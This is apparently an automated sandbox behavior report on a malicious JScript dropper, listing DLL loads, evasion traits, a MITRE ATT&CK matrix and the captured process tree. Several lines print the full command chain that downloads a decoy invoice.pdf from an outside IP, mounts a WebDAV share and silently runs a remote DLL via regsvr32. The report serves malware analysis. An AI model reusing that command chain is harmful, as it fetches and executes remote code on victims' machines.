Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7081.js.csv");ITextStream.WriteLine(" entry:8138 f:cvwym");ITextStream.WriteLine(" exec:2 f:cvwym");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49737

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3994			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5843			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7212	Thread sleep count: 3994 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7240	Thread sleep count: 5843 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7452	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7444	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3176	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1660	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.2600173243.000001D363C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.1373659683.000001E773F1D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1373659683.000001E773EB8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2601019373.000001D365258000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
